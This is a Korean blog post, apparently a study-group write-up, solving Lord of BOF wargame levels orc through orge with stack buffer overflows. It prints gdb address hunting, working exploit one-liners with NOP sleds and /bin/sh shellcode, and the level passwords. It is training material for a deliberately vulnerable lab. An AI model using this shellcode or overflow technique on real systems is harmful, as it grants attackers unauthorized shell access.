<1/2> 지옥방 4주차 과제[goblin-darkelf 다 뿌시기]
후 시작해보자!
goblin -> orc : egghunter
지난번 3번에서 알아낸 비밀번호인 hackers proof로 로그인한당
후 orc.c를 보자
이번에는 조금 길다..for 반복문의 첫 등장
memset 함수는 어떤 메모리의 시작점부터 연속된 범위를 어떤 값으로(바이트 단위) 모두 지정하고 싶을 때 사용하는 함수.
void *memset(void *ptr, int value, size_t num);
총 3개의 인자가 들어간다. 처음부터 채우고자 하는 메모리의 시작 주소, 채우고자 하는 값, 채우고자 하는 바이트의 수(메모리의 크기)다.
environ[i]에 그 크기만큼 0으로 채운다
environ은 환경변수라고 한다. 전 단계(cobolt -> goblin)에서 작은 버퍼의 크기 탓에 환경변수에 쉘코드를 대입해 사용했었는데
이번 문제에서는 환경변수를 0으로 모두 초기화시키기 때문에 이를 사용하지 못한다.
2차원 배열이 등장했다!!두둥
argv[1][47]이 '\xbf'가 맞아야 취약점으로 보이는 strcpy에 닿게 된다. argv[1]이면 첫 번째로 주어지는 문자열에서 48번째 문자인디,,후
그럼 일단 40바이트(buffer) + 4바이트(i) + 4바이트(EBP) + Return Address 리턴 어드레스 전에 쉘코드를 넣을 수는 있겠지만 NOP 코드를 넣기에는 조금 부족해 보인다. 이때 선택할 수 있는 선택이 두 가지가 있는데 그건 바로 환경변수를 이용하는 것과 Return Address의 뒤(argv[2])를 이용하는 것!!! 하지만 앞에서도 말했듯이 환경변수는 0으로 초기화당해서 무쓸모,, 그렇다면 argv[2]를 사용한닷!!
대략적으로 설계를 해보자면 "\bf" 48개 + [쉘코드가 있는 argv[2]의 첫 주소값]
여기서!! argv[2]의 주소값을 확인하는 방법은 내가 모르거나 없거나 둘 중 하나일 것이다!!! 확실한 건 난 모른다!
그렇기에 argv[2]에 A를 디따 많이 넣고 스택 상황을 보며 찾아보자
일단 "\xbf"*48와 argv[2]에 A를 디따 넣어주고 확인
한참 밑에 후 찾았다.
argv[2]의 주소값은 0xbffffdc3이다. 하지만 이는 실제 실행할 때 변동 가능. 틀렸을 때는 조금씩 바꿔가면서 도전하자.
쉘코드는 뭐가 뭔지 모르기에 그냥 나의 정신적 지주인 삭님이 주신 쉘코드를 넣어보겠다!
바로 아래의 코드다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
그렇다면 입력할 코드는 다음과 같다.
./orc `python -c 'print ("A"*44+"\xc3\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
가운데 공백을 추가한 이유는 공백을 기준으로 argv[1]과 argv[2]가 구분되기 때문.
위의 코드를 입력하면?
역시 한 번에 성공하면 내가 아니다씨.
움직여주자! 주소값을!
\xc3\xfd\xff\xbf에서 16을 빼서 \xb3\xfd\xff\xbf로 넣었더니 똑같이,, Segmentation fault
처음에 알아낸 argv[2]의 주소값에서 32를 뺀 \xa3\xfd\xff\xbf를 넣었더니 와씨
https://huammmm1.tistory.com/500
32를 뺀 이유!!
난 저 bash$가 떴을 때 온몸의 털이 다 서서 고슴도치가 됐다.
그런 의미에서
따봉도치야 고마워!!
다음 라운드 PW를 안 보고 넘어갈 뻔했다.
다음 라운드는 orc / cantata 다
orc -> wolfman : egghunter + bufferhunter
이번에 상대할 친구는 wolfman 늑대남...? 짐승남..?이다.
저번 단계에서 다루었던 egghunter와 bufferhunter가 섞인 문제인거같다.
물론! 뭔지는 모른다
후 간다!!
분석을 해보자!
하지만 첫 줄부터 막혔다. extern char **environ?
구글링 결과 extern 은 다른 파일에서 선언된 함수 또는 변수를 이 파일에서 사용하고 싶을 때 컴퓨터에게 "나 다른 파일에서 변수나 함수 끌어다가 쓸거야 각오해!"라고 알리는 명령어인거 같다.
즉 environ 환경변수가 저장된 더블포인터 변수를 가져온다.
environ char **environ;
int main(){
for(int i=0; environ[i]!=NULL; i++){
printf("%\n", environ[i]);
}
}
을 실행하면 선언되어있는 환경변수들이 모두 출력된다.
(놀랍게도 지금 확인해보니 goblin->orc 레벨에서도 이 extern char **environ이 있었다. 그치그치 그래야 egghunter를 할테니깐,, 그래도 이걸 못 보고 지나치냐,,)
main 함수로 들어오면,
buffer(40바이트)와 i(4바이트)를 각각 선언하고 저번 단계와 같은 egghunter를 거쳐 strcpy까지 진행한다.
하지만 그 밑에 buffer hunter가 있다. 이는 main 함수 초반에 선언했던 buffer(40바이트)를 0으로 초기화한다. 으잇!?
이곳에 쉘코드는 절대 못 넣을 거 같다.
정리해보자
goblin->orc 와 orc->wolfman 의 차이점은 buffer hunter, 즉 선언된 buffer 40바이트를 사용하지 못한다는 것이다.
근데,, 이전 단계에서도 buffer는 dummy 값으로 채웠는데? argv[2] 사용햇는데!!?? 그럼 그대로 하면 되지 않을까!!?? 하는 희망을 가져본다.
아까와 같이 진행해보자
gdb 분석을 하기 위해서는 orc 권한의 실행파일이 필요하기에 울프맨을 그대로 복사해 ㄱㅅㄲ개인간 를 만들어주자.
gdb 로 dogman을 열어 disass main 으로 메인함수를 어셈블리어로 파악! 문제의 그 녀석, strcpy를 호출하는 main+189에 BP를 걸어주자
실행할 때 사용할 데이터는
"\xbf" * 52바이트( buffer + i + EBP + ReturnAddress) 와 "A" * 100이다.
설정해놓은 BP에 걸렸다. ni를 입력해 strcy 함수를 수행시키고 x/20s $esp를 입력해 스택의 상황을 살펴보도록 하자
엔터를 누르며 계속 진행한 결과
매애애애애애애애ㅐ애애애ㅐ앤 밑에 argv[2]에 넣은 데이터가 존재한다.
0xbffffdda가 argv[2]의 첫 주소값인 모양이다.
쉘코드도 저번과 같은걸로 사용하면
./wolfman `python -c 'print ("A"*48+"\xda\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
가 될 것이다.
예상치 못한 문구가 출력된다. (그래도 스택이라는 외국인 친구가 생겨서 기쁘다..)
"stack is still your friend"는 argv[1][47]이 "\xbf"가 아닐 때 출력된다.
그러고 보니 위에서 "A"를 48만큼 대입했으니 그럴 만도 하다. 조금 수정해주자
./wolfman `python -c 'print ("A"*44+"\xbf"*4+"\xda\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
"A"를 44바이트만큼만 넣고 나머지 4바이트를 "\xbf"로 채웠다. 후 간다
에러이긴 한데,, 그나마 친숙하다. 이 오류는 아마도 argv[2]의 주솟값이 틀렸기에 출력되는 문구일 것이다. (아니었다)
도대체 왜 48바이트의 의미 없는 값을 넣는가,, 혹시 변수 i를 고려한건가...
스택에서 i는 buffer보다 위에 위치하게 된다. 즉 strcpy를 수행하면 buffer부터 채워지게 된다. 변수 i가 갖고 있는 4바이트는 무시해도 된다... 바부야
그냥 이전 문제에서와 같이 dummy 값 44바이트 + argv [2]의 첫 주소 값 + NOP를 포함한 쉘 코드를 주게 되면 출력되는 문구는 같지만 느낌은 다른
Segmentation fault가 출력된다.
아까와 같이 gdb에서 알아낸 주소와는 달라지는 argv [2]의 주소 값을 고려해 \xda\xfd\xff\xbf를 \xba\xfd\xff\xbf로 고쳐서 실행해보자.
다음 관문으로 가기 위한 ID와 PW는 wolfman / love eyuna다!
(eyuna가 누구지?)
wolfman -> darkelf : check length of argv [1] + egghunter + bufferhunter
이번 상대는 darkelf다.
상대와 겨루기 위해서는 상대에 대해 잘 알아야 하는 법
어떻게 생긴 친구인지 먼저 살펴보자
이쁘다 씨. 이런 여성분을 어떻게 해치워요ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
그래도 삭님에게 받는 경고 >>>>>>> 첫눈에 반한 여성분 이므로 시작하자.
추가된 건 check length of argv[1]
argv[1]으로 주어지는 데이터의 크기가 48바이트를 넘어버리면 프로그램이 먼저 종료되어버린다. 그라믄 안되지 후
아니 근데 또 똑같은 코드를 써도 되는거 아닐까!!??? A 44바이트에 리턴 어드레스 4바이트 하면 딱 48바이트인데..??????
간다.
gdb로 열어주고~
strcpy 함수가 호출되는 main+237에 BP를 걸어서 아까와 똑같이 진행해보자
argv[2]의 첫 주소값을 찾아봅시당~
이를 이용해 코드를 짜보자!
./darkelf `python -c 'print ("A"*44+"\xb7\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
후 간다.
똑같이 Segmentation fault가 뜨길래 주소값을 \xb7\xfd\xff\xbf 에서 \x97\xfd\xff\xbf로 변경(0x20 뺌)함으로써 풀렸따
다음 단계를 위한 ID와 PW는 darkelf / kernel crashed 다.
darkelf -> orge : check argv[0]
이번에 상대할 친구는!?
보리다!
역시나 무서운 상대였다. 조심하도록 하자
이전 단계에서 알아낸 ID&PW인 darkelf / kernel crashed 로 로그인을 해주고 가지고 있는 친구들을 확인해준다.
ㅋㅋㅋㅋㅋㅋㅋㅋ" here is changed! " 짱 귀엽다 후하후하
친절하게 알려준대로 추가된 부분은 argv[0], 즉 우리가 흔히 BOF를 할때 처음에 프로그램을 호출하는!
저기의 길이가 77이나 되야한다. 후씨 뭐지
저 프로그램이 위치해있는 주소 전부를 쓰는건가
그렇다고 하기엔 경로가 너무,,초라하다.
마지막 자존심인 해설 보지 않기를 지키기 위해 열심히 구글링을 하던중,,,, 두둥
유 . 레 . 카
파일 경로 구분자라고 불리는 슬래시( / )를 하나가 아닌 여러개 써도 하나로 인식이 된다는,, 그런 엄청난,, 시크릿
그니깐 봐봐여
우리가 평소에 쓰는건 ./orge인데 !! .//////////////orge도 똑같다는 거잖아여!!!!!!!!!!!!!홀리 쉬이이ㅣㅇㅅ
앞에만 저렇게 하고 나머지는 뭐 똑같이,, 후 가자!
disass main을 입력해 어셈블리어 코드를 보고 strcpy를 호출하는 main+275에 BP를 걸어 쉘코드를 넣을 argv[2]의 첫주소값을 알아보도록 하겠다잉~
문제가 발생했다. 그냥 gdb로 그냥 sundaegukbab을 열어버리면 argv[0]을 내가 따로 지정할 수 없다는걸 깨달았다.
이를 해결하기 위해서!!!!!!!!!!
gdb sundaegukbab이 아닌 gdb `python -c 'print("./"+"/"63*+"sundaegukbab")'`로 진행해보자
일단 열렸다. 그대로 진행을 해봤는데
이런!!!! gdb가 시작할때 상대경로가 아닌 절대경로로 프로그램을 실행하는걸 밑줄 친 부분에서 확인할 수 있다. 저러면 strlen(argv[0])의 값이 달라져서 위처럼 argv[0] error 가 출력된다. 다시 고쳐보자
근데 gdb로 분석할려고 만든 파일 이름이 sundaegukbab이다 보니깐 원래 파일인 orge와 프로그램 이름의 길이에 차이가 생긴다.
이는 입력해야하는 슬래시 / 의 개수에 변동을 주게 되므로 큰 문제는 아니지만 귀.찮.다.
그렇기에 같은 4글자인 파일명 isak님 보고싶다로 진행하겠다.
엄청난 계산(숫자 세기)를 통해 슬래시 / 개수를 알아내 실행했다
x/160s $esp로 argv[2]에 들어갔을 A를 찾음으로써! argv[2]의 첫 주소값인 0xbffffd81을 찾아냈다.
그럼 모든 준비 끝 후
입력할 코드는 다음과 같다.
`python -c 'print("./"+"/"*57+"orge"+" "+"\xbf"*44+"\x81\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
argv[0] error가 뜬다. 예상으로는 아까 gdb는 절대 경로로 프로그램을 실행했는데 여기서는 안그럴거같은 느낌적인 느낌
그럼 아까 앞에 붙었던 /home/darkelf/의 길이인 14만큼 슬래시 / 를 더 입력해주자.
`python -c 'print("./"+"/"*71+"orge"+" "+"\xbf"*44+"\x81\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`
Segmentation fault! 이전 문제들에서 해왔듯이 리턴 어드레스를 조금씩 조절해보자
후우우ㅜ우우우우우ㅜ우우우ㅜ우우ㅜ우우우우ㅜ
* 경로에서 파일 경로 구분자라고 불리는 슬래시 / 를 연속적으로 여러개 사용해도!!?? 하나의 슬래시 /로 인식이 된다는 것을 기억하쟈!
다음 단계를 위한 ID&PW는 orge / timewalker 다.
이제 전반전 끄으읕,,
앞에 두 문제는 뭔가 다른 풀이가 있을거 같아서 이 밑에 추가 예정
물론 지금은 아님 후힣
<포너블 스터디 과제>
orc -> wolfman 문제를 argv[2]를 사용해서 풀어보자
argc가 2 이상이면 문제가 없을거기 때문에 argv[2]를 이용한 공격이 가능할거 같다.
argv[2]의 주소를 찾아보자
사용할 쉘코드는 41바이트짜리
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이기에 앞뒤에 NOP 100바이트씩 넣어줄거 감안하면 241바이트를 argv[2]로 넣어주게 된다.
권한 문제 때문에 wolfman을 복사한 dogman을 gdb로 열어 disass main 해주자!
main+189에서 strcpy를 호출하기 때문에 main+201 정도에 BP를 걸어 argv[2]의 주소값을 알아내보겠다!!
위와 같이 인자를 주고 실행했을때! 설정해놓은 BP에 걸리게 되고 x/1000x $esp 로 스택의 상황을 살펴봤는데 어멋!
어떤 이유에서 200, 41로 나눠서 들어가지는 모르겠지만 암튼 argv[2]로 줬던 "A"가 241바이트만큼 0xbffffb9e에 들어가있다.
이렇게 알아낸 argv[2]의 첫주소값을 메인함수의 리턴 어드레스로 주게되면 저 argv[2]에 리턴하게 되면서 그곳에 넣어놓은 쉘코드가 실행되게 된다.
./wolfman `python -c 'print("\x90"*44+"\x9e\xfb\xff\xbf")'` `python -c 'print("\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*100)'`
이와 같이 작성해주면!!???
성공이따따따따 따따따따따따따 호옷
댓글
이 글 공유하기
다른 글
-
지옥방 4주차 포너블 과제 모음집!!뚜둥..
지옥방 4주차 포너블 과제 모음집!!뚜둥..
2020.05.17 -
<2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]
<2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]
2020.05.11 -
지옥방 3주차 과제 LOB 2,3번 뿌시기
지옥방 3주차 과제 LOB 2,3번 뿌시기
2020.04.28 -
지옥방 포너블 3주차 과제 모음!
지옥방 포너블 3주차 과제 모음!
2020.04.24